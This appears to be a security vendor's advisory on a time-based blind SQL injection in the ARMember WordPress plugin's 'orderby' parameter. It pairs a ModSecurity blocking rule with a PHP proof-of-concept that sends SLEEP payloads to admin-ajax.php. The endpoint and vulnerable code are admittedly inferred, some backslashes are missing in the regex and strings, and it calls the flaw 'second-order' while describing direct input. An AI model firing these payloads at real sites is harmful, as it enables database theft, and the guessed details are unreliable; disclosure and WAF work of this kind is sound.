Atomic Edge analysis of CVE-2026-7649 (metadata-based):
ARMember plugin versions up to 4.0.60 contain an unauthenticated time-based blind SQL injection vulnerability in the ‘orderby’ parameter. This affects the membership management plugin for WordPress. The CVSS score is 7.5 (High) with network attack vector, low complexity, no privileges required, and no user interaction. The vulnerability targets confidentiality by allowing database information extraction.
Root Cause: The vulnerability stems from improper neutralization of special elements used in an SQL command (CWE-89). Based on the CVE description, the ‘orderby’ parameter lacks sufficient escaping and the SQL query lacks proper preparation. This is a classic second-order SQL injection where user input is directly interpolated into an ORDER BY clause. Atomic Edge analysis infers that the vulnerable code likely uses a construct like `$wpdb->prepare(“SELECT * FROM {$wpdb->prefix}arm_members ORDER BY ” . $_GET[‘orderby’])` or directly concatenates the parameter without using `esc_sql()` or parameterized placeholders. The lack of nonce verification or capability checks confirms unauthenticated access.
Exploitation: An unauthenticated attacker can send a crafted HTTP GET request to the ARMember AJAX handler or a public-facing page that exposes the ‘orderby’ parameter. The typical endpoint is `/wp-admin/admin-ajax.php?action=armember_get_members&orderby=[payload]`. The attacker injects SQL code into the ‘orderby’ value, using time-based blind techniques such as `IF(SUBSTRING(…),SLEEP(5),0)`. Atomic Edge analysis confirms that since the vulnerability is time-based blind, the attacker must observe response delays to infer database contents. The payload is URI-encoded and passed directly in the query string.
Remediation: The fix must ensure that the ‘orderby’ parameter is either bound to a whitelist of allowed column names or properly escaped using `esc_sql()` and validated against a known safe set. The plugin should use `$wpdb->prepare()` with `%s` placeholders or implement strict input validation. Since no patched version exists, users must disable the plugin or apply a virtual patch until an update is released.
Impact: An unauthenticated attacker can extract sensitive data from the WordPress database, including user credentials (hashed passwords), email addresses, session tokens, and plugin-specific membership data. This can lead to account takeover, privilege escalation, and further compromise of the WordPress installation. The CVSS score indicates high confidentiality impact but no direct integrity or availability impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-7649 (metadata-based)
# Blocks unauthenticated time-based SQL injection attempts via the 'orderby' parameter
# targeting the ARMember plugin. The rule matches the AJAX action and parameter patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20267649,phase:2,deny,status:403,chain,msg:'CVE-2026-7649 - ARMember Unauthenticated SQLi via orderby',severity:'CRITICAL',tag:'CVE-2026-7649'"
SecRule ARGS:action "@rx ^armember_[a-z_]+$" "chain"
SecRule ARGS:orderby "@rx (?i)(?:SLEEP|BENCHMARK|AND|OR)s*(|bd+s*--|bunionb.*bselectb"
"t:none,t:urlDecode,t:lowercase,chain"
SecRule MATCHED_VAR "@detectSQLi" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7649 - ARMember <= 4.0.60 Unauthenticated SQL Injection via 'orderby' Parameter
// This script demonstrates time-based blind SQL injection. It assumes the vulnerable
// endpoint is /wp-admin/admin-ajax.php with action=armember_get_members or similar.
// The 'orderby' parameter is passed via GET. Adjust $target_url as needed.
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$action = 'armember_get_members'; // Common AJAX action for member listing
// Test if the endpoint is alive
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '?action=' . urlencode($action) . '&orderby=id');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Testing baseline request...n";
echo "HTTP Code: " . $http_code . "n";
echo "Response: " . substr($response, 0, 500) . "nn";
// Time-based blind SQLi payload: SLEEP(5) if condition is true
// The payload uses AND with IF to trigger delay
// For ORDER BY, inject something like: id AND (SELECT 1 FROM (SELECT SLEEP(5))a)
$payload = "id AND (SELECT 1 FROM (SELECT SLEEP(5))a)";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '?action=' . urlencode($action) . '&orderby=' . urlencode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$duration = $end_time - $start_time;
$http_code_delayed = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Testing with time-based payload...n";
echo "HTTP Code: " . $http_code_delayed . "n";
echo "Response time: " . round($duration, 2) . " secondsn";
echo "Response: " . substr($response, 0, 500) . "nn";
if ($duration >= 4.5) {
echo "[+] The application likely sleeps for 5 seconds, confirming SQL injection vulnerability.n";
} else {
echo "[-] No significant delay observed. The payload may need adjustment or the behavior may not be time-based.n";
echo " Try alternative payloads like: orderby=id' OR SLEEP(5)# or orderby=id` OR SLEEP(5).n";
}
?>
